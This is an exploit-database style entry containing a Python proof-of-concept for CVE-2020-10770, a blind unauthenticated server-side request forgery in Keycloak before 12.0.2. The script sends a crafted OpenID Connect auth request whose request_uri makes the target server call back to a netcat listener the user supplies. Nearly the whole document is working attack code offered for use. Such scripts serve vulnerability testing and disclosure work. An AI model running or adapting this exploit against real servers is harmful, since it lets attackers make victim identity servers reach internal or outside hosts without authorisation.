Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)

# Exploit Title: Keycloak 12.0.1 - 'request_uri ' Blind Server-Side Request Forgery (SSRF) (Unauthenticated)
# Date: 2021-10-09
# Exploit Author: Mayank Deshmukh
# Vendor Homepage: https://www.keycloak.org/
# Software Link: https://www.keycloak.org/archive/downloads-12.0.1.html
# Version: versions < 12.0.2
# Tested on: Kali Linux
# CVE : CVE-2020-10770

#!/usr/bin/env python3

import argparse, textwrap
import requests
import sys

parser = argparse.ArgumentParser(description="-=[Keycloak Blind SSRF test by ColdFusionX]=-", formatter_class=argparse.RawTextHelpFormatter, 
epilog=textwrap.dedent(''' 
Exploit Usage : 
./exploit.py -u http://127.0.0.1:8080
[^] Input Netcat host:port -> 192.168.0.1:4444
'''))                     

parser.add_argument("-u","--url", help="Keycloak Target URL (Example: http://127.0.0.1:8080)") 
args = parser.parse_args()

if len(sys.argv) <= 2:
    print (f"Exploit Usage: ./exploit.py -h [help] -u [url]")          
    sys.exit()  

# Variables
Host = args.url

r = requests.session()

def ssrf():
    headerscontent = {
            'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
                     }
    hook = input("[^] Input Netcat host:port -> ")
    
    _req = r.get(f'{Host}/auth/realms/master/protocol/openid-connect/auth?scope=openid&response_type=code&redirect_uri=valid&state=cfx&nonce=cfx&client_id=security-admin-console&request_uri=http://{hook}', headers = headerscontent)
    return True

if __name__ == "__main__":

    print ('\n[+] Keycloak Bind SSRF test by ColdFusionX \n ')
    try:    
        if ssrf() == True:
            print ('\n[+] BINGO! Check Netcat listener for HTTP callback :) \n ')
    
    except Exception as ex:
        print('\n[-] Invalid URL or Target not Vulnerable')